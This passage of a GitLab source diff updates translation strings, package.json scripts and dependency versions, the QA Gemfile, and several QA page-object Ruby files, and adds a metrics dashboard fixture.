msgid "You are now impersonating %{username}"
msgstr ""
@@ -27430,9 +28248,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27466,13 +28281,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27556,10 +28371,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27772,6 +28587,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27847,7 +28665,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -27964,6 +28782,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28091,6 +28912,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28392,12 +29216,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28551,6 +29369,10 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+
msgid "group"
msgstr ""
@@ -28596,9 +29418,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28639,6 +29458,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28787,9 +29609,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28802,6 +29630,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -28874,9 +29705,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -28910,12 +29738,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -28997,19 +29819,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29217,6 +30039,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29260,9 +30085,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29380,6 +30202,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29398,6 +30223,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29461,6 +30289,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/package.json b/package.json
index bbed76e66a5..ca76e4cab0b 100644
--- a/package.json
+++ b/package.json
@@ -7,8 +7,8 @@
"dev-server": "NODE_OPTIONS=\"--max-old-space-size=3584\" node scripts/frontend/webpack_dev_server.js",
"eslint": "eslint --cache --max-warnings 0 --report-unused-disable-directives --ext .js,.vue .",
"eslint-fix": "eslint --cache --max-warnings 0 --report-unused-disable-directives --ext .js,.vue --fix .",
- "eslint-staged": "git diff --cached --name-only | grep -E \"(.*)\\.(js|vue)$\" | xargs eslint --cache --max-warnings 0 --report-unused-disable-directives",
- "eslint-staged-fix": "git diff --cached --name-only | grep -E \"(.*)\\.(js|vue)$\" | xargs eslint --cache --max-warnings 0 --report-unused-disable-directives --fix",
+ "eslint-staged": "git diff --diff-filter=d --cached --name-only | grep -E \"(.*)\\.(js|vue)$\" | xargs eslint --cache --max-warnings 0 --report-unused-disable-directives",
+ "eslint-staged-fix": "git diff --diff-filter=d --cached --name-only | grep -E \"(.*)\\.(js|vue)$\" | xargs eslint --cache --max-warnings 0 --report-unused-disable-directives --fix",
"eslint-report": "eslint --max-warnings 0 --ext .js,.vue --format html --output-file ./eslint-report.html --no-inline-config .",
"file-coverage": "scripts/frontend/file_test_coverage.js",
"prejest": "yarn check-dependencies",
@@ -26,7 +26,7 @@
"prettier-staged-save": "node ./scripts/frontend/prettier.js save",
"prettier-all": "node ./scripts/frontend/prettier.js check-all",
"prettier-all-save": "node ./scripts/frontend/prettier.js save-all",
- "stylelint": "yarn stylelint-file 'app/assets/stylesheets/**/*.*' 'ee/app/assets/stylesheets/**/*.*' '!app/assets/stylesheets/startup/startup-general.scss' '!**/vendors/**'",
+ "stylelint": "yarn stylelint-file 'app/assets/stylesheets/**/*.*' 'ee/app/assets/stylesheets/**/*.*' '!app/assets/stylesheets/startup/startup-*.scss' '!**/vendors/**'",
"stylelint-file": "BROWSERSLIST_IGNORE_OLD_DATA=true node node_modules/stylelint/bin/stylelint.js",
"stylelint-create-utility-map": "node scripts/frontend/stylelint/stylelint-utility-map.js",
"test": "node scripts/frontend/test",
@@ -42,14 +42,14 @@
"@babel/plugin-syntax-import-meta": "^7.10.1",
"@babel/preset-env": "^7.10.1",
"@gitlab/at.js": "1.5.5",
- "@gitlab/svgs": "1.158.0",
- "@gitlab/ui": "20.3.1",
+ "@gitlab/svgs": "1.164.0",
+ "@gitlab/ui": "21.3.1",
"@gitlab/visual-review-tools": "1.6.1",
"@rails/actioncable": "^6.0.3-1",
- "@sentry/browser": "^5.10.2",
- "@sourcegraph/code-host-integration": "0.0.49",
- "@toast-ui/editor": "^2.3.1",
- "@toast-ui/vue-editor": "^2.3.1",
+ "@sentry/browser": "^5.22.3",
+ "@sourcegraph/code-host-integration": "0.0.50",
+ "@toast-ui/editor": "^2.4.0",
+ "@toast-ui/vue-editor": "^2.4.0",
"apollo-cache-inmemory": "^1.6.6",
"apollo-client": "^2.6.10",
"apollo-link": "^1.2.14",
@@ -57,7 +57,7 @@
"apollo-upload-client": "^13.0.0",
"autosize": "^4.0.2",
"aws-sdk": "^2.637.0",
- "axios": "^0.19.0",
+ "axios": "^0.20.0",
"babel-loader": "^8.0.6",
"babel-plugin-lodash": "^3.3.4",
"bootstrap": "4.4.1",
@@ -92,6 +92,8 @@
"glob": "^7.1.6",
"graphql": "^14.7.0",
"graphql-tag": "^2.10.1",
+ "gray-matter": "^4.0.2",
+ "immer": "^7.0.7",
"imports-loader": "^0.8.0",
"ipaddr.js": "^1.9.1",
"jed": "^1.1.1",
@@ -105,7 +107,7 @@
"jszip": "^3.1.3",
"jszip-utils": "^0.0.2",
"katex": "^0.10.0",
- "lodash": "^4.17.15",
+ "lodash": "^4.17.20",
"marked": "^0.3.12",
"mermaid": "^8.5.2",
"mersenne-twister": "1.1.0",
@@ -115,11 +117,11 @@
"monaco-editor": "^0.20.0",
"monaco-editor-webpack-plugin": "^1.9.0",
"monaco-yaml": "^2.4.1",
- "mousetrap": "^1.4.6",
+ "mousetrap": "1.6.5",
"pdfjs-dist": "^2.0.943",
"pikaday": "^1.8.0",
"popper.js": "^1.16.1",
- "prismjs": "^1.6.0",
+ "prismjs": "^1.21.0",
"prosemirror-markdown": "^1.3.0",
"prosemirror-model": "^1.6.4",
"raphael": "^2.2.7",
@@ -131,7 +133,7 @@
"stickyfilljs": "^2.1.0",
"string-hash": "1.1.3",
"style-loader": "^1.1.3",
- "swagger-ui-dist": "^3.26.2",
+ "swagger-ui-dist": "^3.32.4",
"three": "^0.84.0",
"three-orbit-controls": "^82.1.0",
"three-stl-loader": "^1.0.4",
@@ -146,11 +148,12 @@
"vue": "^2.6.10",
"vue-apollo": "^3.0.3",
"vue-loader": "^15.9.0",
- "vue-router": "^3.0.2",
+ "vue-router": "^3.4.3",
"vue-template-compiler": "^2.6.10",
"vue-virtual-scroll-list": "^1.4.4",
"vuedraggable": "^2.23.0",
- "vuex": "^3.1.0",
+ "vuex": "^3.5.1",
+ "web-vitals": "^0.2.4",
"webpack": "^4.42.0",
"webpack-bundle-analyzer": "^3.6.0",
"webpack-cli": "^3.3.11",
@@ -160,7 +163,7 @@
},
"devDependencies": {
"@babel/plugin-transform-modules-commonjs": "^7.10.1",
- "@gitlab/eslint-plugin": "3.2.0",
+ "@gitlab/eslint-plugin": "4.0.0",
"@testing-library/dom": "^7.16.2",
"@vue/test-utils": "1.0.0-beta.30",
"acorn": "^6.3.0",
diff --git a/qa/Gemfile b/qa/Gemfile
index 8b9592a027b..d946b22a0e0 100644
--- a/qa/Gemfile
+++ b/qa/Gemfile
@@ -17,7 +17,8 @@ gem 'knapsack', '~> 1.17'
gem 'parallel_tests', '~> 2.29'
gem 'rotp', '~> 3.1.0'
gem 'timecop', '~> 0.9.1'
-gem "parallel", "~> 1.19"
+gem 'parallel', '~> 1.19'
+gem 'rspec-parameterized', '~> 0.4.2'
group :development do
gem 'pry-byebug', '~> 3.5.1', platform: :mri
diff --git a/qa/Gemfile.lock b/qa/Gemfile.lock
index b88cc47ad94..2356c90a0af 100644
--- a/qa/Gemfile.lock
+++ b/qa/Gemfile.lock
@@ -1,12 +1,16 @@
GEM
remote: https://rubygems.org/
specs:
+ abstract_type (0.0.7)
activesupport (6.0.3.1)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
tzinfo (~> 1.1)
zeitwerk (~> 2.2, >= 2.2.2)
+ adamantium (0.2.0)
+ ice_nine (~> 0.11.0)
+ memoizable (~> 0.4.0)
addressable (2.7.0)
public_suffix (>= 2.0.2, < 5.0)
airborne (0.3.4)
@@ -15,6 +19,8 @@ GEM
rack-test (>= 1.1.0, < 2.0)
rest-client (>= 2.0.2, < 3.0)
rspec (~> 3.8)
+ ast (2.4.1)
+ binding_ninja (0.2.3)
byebug (9.1.0)
capybara (3.29.0)
addressable
@@ -29,6 +35,9 @@ GEM
launchy
childprocess (3.0.0)
coderay (1.1.2)
+ concord (0.1.5)
+ adamantium (~> 0.2.0)
+ equalizer (~> 0.0.9)
concurrent-ruby (1.1.6)
debase (0.2.4.1)
debase-ruby_core_source (>= 0.10.2)
@@ -36,6 +45,7 @@ GEM
diff-lcs (1.3)
domain_name (0.5.20190701)
unf (>= 0.0.5, < 1.0.0)
+ equalizer (0.0.11)
faker (1.9.3)
i18n (>= 0.7)
gitlab-qa (4.0.0)
@@ -44,10 +54,13 @@ GEM
domain_name (~> 0.5)
i18n (1.8.2)
concurrent-ruby (~> 1.0)
+ ice_nine (0.11.2)
knapsack (1.17.1)
rake
launchy (2.4.3)
addressable (~> 2.3)
+ memoizable (0.4.2)
+ thread_safe (~> 0.3, >= 0.3.1)
method_source (0.9.0)
mime-types (3.3.1)
mime-types-data (~> 3.2015)
@@ -61,6 +74,13 @@ GEM
parallel (1.17.0)
parallel_tests (2.29.0)
parallel
+ parser (2.7.1.4)
+ ast (~> 2.4.1)
+ proc_to_ast (0.1.0)
+ coderay
+ parser
+ unparser
+ procto (0.0.3)
pry (0.11.3)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
@@ -71,7 +91,7 @@ GEM
rack (2.2.2)
rack-test (1.1.0)
rack (>= 1.0, < 3)
- rake (12.3.0)
+ rake (12.3.3)
regexp_parser (1.6.0)
rest-client (2.1.0)
http-accept (>= 1.7.0, < 2.0)
@@ -91,6 +111,12 @@ GEM
rspec-mocks (3.9.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.9.0)
+ rspec-parameterized (0.4.2)
+ binding_ninja (>= 0.2.3)
+ parser
+ proc_to_ast
+ rspec (>= 2.13, < 4)
+ unparser
rspec-retry (0.6.1)
rspec-core (> 3.3)
rspec-support (3.9.3)
@@ -109,6 +135,14 @@ GEM
unf (0.1.4)
unf_ext
unf_ext (0.0.7.7)
+ unparser (0.4.7)
+ abstract_type (~> 0.0.7)
+ adamantium (~> 0.2.0)
+ concord (~> 0.1.5)
+ diff-lcs (~> 1.3)
+ equalizer (~> 0.0.9)
+ parser (>= 2.6.5)
+ procto (~> 0.0.2)
xpath (3.2.0)
nokogiri (~> 1.8)
zeitwerk (2.3.0)
@@ -133,6 +167,7 @@ DEPENDENCIES
rest-client (~> 2.1.0)
rotp (~> 3.1.0)
rspec (~> 3.7)
+ rspec-parameterized (~> 0.4.2)
rspec-retry (~> 0.6.1)
rspec_junit_formatter (~> 0.4.1)
ruby-debug-ide (~> 0.7.0)
diff --git a/qa/qa.rb b/qa/qa.rb
index c6973533144..f6e0ea5d615 100644
--- a/qa/qa.rb
+++ b/qa/qa.rb
@@ -109,10 +109,6 @@ module QA
autoload :WikiPush, 'qa/resource/repository/wiki_push'
end
- module Settings
- autoload :HashedStorage, 'qa/resource/settings/hashed_storage'
- end
-
module Wiki
autoload :ProjectPage, 'qa/resource/wiki/project_page'
end
@@ -419,7 +415,6 @@ module QA
autoload :NewSession, 'qa/page/admin/new_session'
module Settings
- autoload :Repository, 'qa/page/admin/settings/repository'
autoload :General, 'qa/page/admin/settings/general'
autoload :MetricsAndProfiling, 'qa/page/admin/settings/metrics_and_profiling'
autoload :Network, 'qa/page/admin/settings/network'
@@ -427,7 +422,6 @@ module QA
module Component
autoload :IpLimits, 'qa/page/admin/settings/component/ip_limits'
autoload :OutboundRequests, 'qa/page/admin/settings/component/outbound_requests'
- autoload :RepositoryStorage, 'qa/page/admin/settings/component/repository_storage'
autoload :AccountAndLimit, 'qa/page/admin/settings/component/account_and_limit'
autoload :PerformanceBar, 'qa/page/admin/settings/component/performance_bar'
end
diff --git a/qa/qa/fixtures/metrics_dashboards/templating.yml b/qa/qa/fixtures/metrics_dashboards/templating.yml
new file mode 100644
index 00000000000..e06e7cc1247
--- /dev/null
+++ b/qa/qa/fixtures/metrics_dashboards/templating.yml
@@ -0,0 +1,43 @@
+dashboard: 'Pod metrics'
+priority: 10
+templating:
+ variables:
+ pod_name:
+ label: 'CPU POD'
+ type: custom
+ options:
+ values:
+ - value: 'runner-gitlab-runner-.*'
+ text: 'GitLab Runner'
+ - value: 'Option1'
+ text: 'Option'
+ - value: 'Option2'
+ text: 'Option'
+ - value: 'Option3'
+ text: 'Option'
+ pod_name2:
+ label: 'Memory POD'
+ type: custom
+ options:
+ values:
+ - value: 'production-postgresql-.*'
+ text: 'Postgresql'
+panel_groups:
+ - group: CPU metrics
+ panels:
+ - title: "CPU usage GitLab Runner"
+ type: "line-chart"
+ y_label: "Cores per pod"
+ metrics:
+ - id: pod_cpu_usage_seconds_total
+ query_range: 'rate(container_cpu_usage_seconds_total{pod_name=~"{{pod_name}}"}[5m])'
+ unit: "cores"
+ label: pod_name
+ - title: "Memory usage Postgresql"
+ type: "line-chart"
+ y_label: "Working set memory (MiB)"
+ metrics:
+ - id: pod_memory_working_set1
+ query_range: 'container_memory_working_set_bytes{pod_name=~"{{pod_name2}}"}/1024/1024'
+ unit: "MiB"
+ label: pod_name
diff --git a/qa/qa/git/repository.rb b/qa/qa/git/repository.rb
index e0fcb9b0599..035946b8471 100644
--- a/qa/qa/git/repository.rb
+++ b/qa/qa/git/repository.rb
@@ -118,6 +118,10 @@ module QA
run(%Q{git config user.signingkey #{@gpg_key_id} && git config gpg.program $(command -v gpg) && git commit -S -m "#{message}"}).to_s
end
+ def current_branch
+ run("git rev-parse --abbrev-ref HEAD").to_s
+ end
+
def push_changes(branch = 'master')
run("git push #{uri} #{branch}", max_attempts: 3).to_s
end
diff --git a/qa/qa/page/admin/settings/component/repository_storage.rb b/qa/qa/page/admin/settings/component/repository_storage.rb
deleted file mode 100644
index 2ed0cd73aa3..00000000000
--- a/qa/qa/page/admin/settings/component/repository_storage.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Page
- module Admin
- module Settings
- module Component
- class RepositoryStorage < Page::Base
- view 'app/views/admin/application_settings/_repository_storage.html.haml' do
- element :hashed_storage_checkbox
- element :save_changes_button
- end
-
- def enable_hashed_storage
- check_element :hashed_storage_checkbox
- end
-
- def save_settings
- click_element :save_changes_button
- end
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/page/admin/settings/repository.rb b/qa/qa/page/admin/settings/repository.rb
deleted file mode 100644
index 82321765e63..00000000000
--- a/qa/qa/page/admin/settings/repository.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Page
- module Admin
- module Settings
- class Repository < Page::Base
- include QA::Page::Settings::Common
-
- view 'app/views/admin/application_settings/repository.html.haml' do
- element :repository_storage_settings_content
- end
-
- def expand_repository_storage(&block)
- expand_content(:repository_storage_settings_content) do
- Component::RepositoryStorage.perform(&block)
- end
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/page/component/issue_board/show.rb b/qa/qa/page/component/issue_board/show.rb
index 9e843630115..15c1c25cbf9 100644
--- a/qa/qa/page/component/issue_board/show.rb
+++ b/qa/qa/page/component/issue_board/show.rb
@@ -96,6 +96,8 @@ module QA
click_boards_config_button
click_element(:labels_edit_button)
find_element(:labels_dropdown_content).find('li', text: label).click
+ # Clicking the edit button again closes the dropdown and allows the save button to be clicked
+ click_element(:labels_edit_button)
click_element(:save_changes_button)
wait_boards_list_finish_loading
end
diff --git a/qa/qa/page/component/project_selector.rb b/qa/qa/page/component/project_selector.rb
index 80ed6b8e53b..54bd95c5422 100644
--- a/qa/qa/page/component/project_selector.rb
+++ b/qa/qa/page/component/project_selector.rb
@@ -20,6 +20,9 @@ module QA
end
def select_project
+ wait_until(sleep_interval: 2, reload: false) do
+ has_element? :project_list_item
+ end
click_element :project_list_item
end
end
diff --git a/qa/qa/page/component/select2.rb b/qa/qa/page/component/select2.rb
index b8beb64b6bd..761bbb17168 100644
--- a/qa/qa/page/component/select2.rb
+++ b/qa/qa/page/component/select2.rb
@@ -8,6 +8,10 @@ module QA
find('.select2-result-label', text: item_text, match: :prefer_exact).click
end
+ def has_item?(item_text)
+ has_css?('.select2-result-label', text: item_text, match: :prefer_exact)
+ end
+
def current_selection
find('.select2-chosen').text
end
@@ -25,8 +29,12 @@ module QA
end
def search_and_select(item_text)
+ QA::Runtime::Logger.info "Searching and selecting: #{item_text}"
+
search_item(item_text)
+ raise QA::Page::Base::ElementNotFound, %Q(Couldn't find option named "#{item_text}") unless has_item?(item_text)
+
select_item(item_text)
end
diff --git a/qa/qa/page/component/snippet.rb b/qa/qa/page/component/snippet.rb
index b84166ccefd..2776b6c078e 100644
--- a/qa/qa/page/component/snippet.rb
+++ b/qa/qa/page/component/snippet.rb
@@ -40,6 +40,7 @@ module QA
base.view 'app/assets/javascripts/snippets/components/show.vue' do
element :clone_button
+ element :snippet_embed_dropdown
end
base.view 'app/assets/javascripts/vue_shared/components/clone_dropdown.vue' do
@@ -73,6 +74,10 @@ module QA
element :more_actions_dropdown
element :delete_comment_button
end
+
+ base.view 'app/assets/javascripts/snippets/components/embed_dropdown.vue' do
+ element :copy_button
+ end
end
def has_snippet_title?(snippet_title)
@@ -105,6 +110,10 @@ module QA
end
end
+ def has_embed_dropdown?
+ has_element?(:snippet_embed_dropdown)
+ end
+
def click_edit_button
click_element(:snippet_action_button, action: 'Edit')
end
@@ -129,6 +138,11 @@ module QA
Git::Location.new(find_element(:copy_ssh_url_button)['data-clipboard-text']).uri.to_s
end
+ def get_sharing_link
+ click_element(:snippet_embed_dropdown)
+ find_element(:copy_button, action: 'Share')['data-clipboard-text']
+ end
+
def add_comment(comment)
fill_element(:note_field, comment)
click_element(:comment_button)
diff --git a/qa/qa/page/dashboard/snippet/edit.rb b/qa/qa/page/dashboard/snippet/edit.rb
index c650b8e4f90..7802a680c25 100644
--- a/qa/qa/page/dashboard/snippet/edit.rb
+++ b/qa/qa/page/dashboard/snippet/edit.rb
@@ -19,6 +19,10 @@ module QA
text_area.has_text?(content) # wait for changes to take effect
end
+ def change_visibility_to(visibility_type)
+ choose(visibility_type)
+ end
+
def save_changes
click_element(:submit_button, Page::Dashboard::Snippet::Show)
end
diff --git a/qa/qa/page/main/sign_up.rb b/qa/qa/page/main/sign_up.rb
index c47d2ce9c74..b7808afb209 100644
--- a/qa/qa/page/main/sign_up.rb
+++ b/qa/qa/page/main/sign_up.rb
@@ -8,23 +8,27 @@ module QA
element :new_user_name_field
element :new_user_username_field
element :new_user_email_field
- element :new_user_email_confirmation_field
element :new_user_password_field
element :new_user_register_button
element :new_user_accept_terms_checkbox
end
+ view 'app/views/registrations/welcome.html.haml' do
+ element :get_started_button
+ end
+
def sign_up!(user)
fill_element :new_user_name_field, user.name
fill_element :new_user_username_field, user.username
fill_element :new_user_email_field, user.email
- fill_element :new_user_email_confirmation_field, user.email
fill_element :new_user_password_field, user.password
check_element :new_user_accept_terms_checkbox if has_element?(:new_user_accept_terms_checkbox)
signed_in = retry_until do
- click_element :new_user_register_button
+ click_element :new_user_register_button if has_element?(:new_user_register_button)
+
+ click_element :get_started_button if has_element?(:get_started_button)
Page::Main::Menu.perform(&:has_personal_area?)
end
@@ -35,3 +39,5 @@ module QA
end
end
end
+
+QA::Page::Main::SignUp.prepend_if_ee('QA::EE::Page::Main::SignUp')
diff --git a/qa/qa/page/merge_request/show.rb b/qa/qa/page/merge_request/show.rb
index 906ad490bb1..0b80ba84fa4 100644
--- a/qa/qa/page/merge_request/show.rb
+++ b/qa/qa/page/merge_request/show.rb
@@ -8,7 +8,7 @@ module QA
include Page::Component::Issuable::Sidebar
view 'app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue' do
- element :dropdown_toggle
+ element :download_dropdown
element :download_email_patches
element :download_plain_diff
element :open_in_web_ide_button
@@ -53,10 +53,6 @@ module QA
element :diffs_tab
end
- view 'app/assets/javascripts/diffs/components/diff_table_cell.vue' do
- element :diff_comment
- end
-
view 'app/assets/javascripts/diffs/components/inline_diff_table_row.vue' do
element :new_diff_line
end
@@ -131,7 +127,7 @@ module QA
def add_comment_to_diff(text)
wait_until(sleep_interval: 5) do
- has_text?("No newline at end of file")
+ has_css?('a[data-linenumber="1"]')
end
all_elements(:new_diff_line, minimum: 1).first.hover
click_element(:diff_comment)
@@ -255,12 +251,12 @@ module QA
end
def view_email_patches
- click_element :dropdown_toggle
+ click_element :download_dropdown
visit_link_in_element(:download_email_patches)
end
def view_plain_diff
- click_element :dropdown_toggle
+ click_element :download_dropdown
visit_link_in_element(:download_plain_diff)
end
@@ -275,7 +271,8 @@ module QA
end
def click_open_in_web_ide
- click_element :open_in_web_ide_button
+ click_element(:open_in_web_ide_button)
+ wait_for_requests
end
end
end
diff --git a/qa/qa/page/profile/accounts/show.rb b/qa/qa/page/profile/accounts/show.rb
index eec4efe1734..cf7f7d80cfa 100644
--- a/qa/qa/page/profile/accounts/show.rb
+++ b/qa/qa/page/profile/accounts/show.rb
@@ -11,17 +11,14 @@ module QA
view 'app/assets/javascripts/profile/account/components/delete_account_modal.vue' do
element :password_confirmation_field
- end
-
- view 'app/assets/javascripts/vue_shared/components/deprecated_modal.vue' do
- element :save_changes_button
+ element :confirm_delete_account_button
end
def delete_account(password)
click_element(:delete_account_button)
find_element(:password_confirmation_field).set password
- click_element(:save_changes_button)
+ click_element(:confirm_delete_account_button)
end
end
end
diff --git a/qa/qa/page/project/issue/index.rb b/qa/qa/page/project/issue/index.rb
index 0a64f01fe98..0b47bec2cf1 100644
--- a/qa/qa/page/project/issue/index.rb
+++ b/qa/qa/page/project/issue/index.rb
@@ -5,7 +5,7 @@ module QA
module Project
module Issue
class Index < Page::Base
- view 'app/assets/javascripts/issuables_list/components/issuable.vue' do
+ view 'app/assets/javascripts/issues_list/components/issuable.vue' do
element :issue_container
element :issue_link
end
diff --git a/qa/qa/page/project/issue/show.rb b/qa/qa/page/project/issue/show.rb
index 5778d0218a7..826acaa2e0a 100644
--- a/qa/qa/page/project/issue/show.rb
+++ b/qa/qa/page/project/issue/show.rb
@@ -38,8 +38,42 @@ module QA
element :new_note_form, 'attr: :note' # rubocop:disable QA/ElementWithPattern
end
+ view 'app/assets/javascripts/related_issues/components/add_issuable_form.vue' do
+ element :add_issue_button
+ end
+
+ view 'app/assets/javascripts/related_issues/components/related_issuable_input.vue' do
+ element :add_issue_input
+ end
+
+ view 'app/assets/javascripts/related_issues/components/related_issues_block.vue' do
+ element :related_issues_plus_button
+ end
+
+ view 'app/assets/javascripts/related_issues/components/related_issues_list.vue' do
+ element :related_issuable_item
+ element :related_issues_loading_icon
+ end
+
+ def relate_issue(issue)
+ click_element(:related_issues_plus_button)
+ fill_element(:add_issue_input, issue.web_url)
+ send_keys_to_element(:add_issue_input, :enter)
+ end
+
+ def related_issuable_item
+ find_element(:related_issuable_item)
+ end
+
+ def wait_for_related_issues_to_load
+ has_no_element?(:related_issues_loading_icon, wait: QA::Support::Repeater::DEFAULT_MAX_WAIT_TIME)
+ end
+
def click_remove_related_issue_button
- click_element(:remove_related_issue_button)
+ retry_until(sleep_interval: 5) do
+ click_element(:remove_related_issue_button)
+ has_no_element?(:remove_related_issue_button, wait: QA::Support::Repeater::DEFAULT_MAX_WAIT_TIME)
+ end
end
def click_close_issue_button
diff --git a/qa/qa/page/project/job/show.rb b/qa/qa/page/project/job/show.rb
index 6243dc92b45..6a657b4ab39 100644
--- a/qa/qa/page/project/job/show.rb
+++ b/qa/qa/page/project/job/show.rb
@@ -19,6 +19,10 @@ module QA
element :retry_button
end
+ view 'app/assets/javascripts/jobs/components/artifacts_block.vue' do
+ element :browse_artifacts_button
+ end
+
def successful?(timeout: 60)
raise "Timed out waiting for the build trace to load" unless loaded?
raise "Timed out waiting for the status to be a valid completed state" unless completed?(timeout: timeout)
@@ -42,6 +46,14 @@ module QA
result
end
+ def has_browse_button?
+ has_element? :browse_artifacts_button
+ end
+
+ def click_browse_button
+ click_element :browse_artifacts_button
+ end
+
def retry!
click_element :retry_button
end
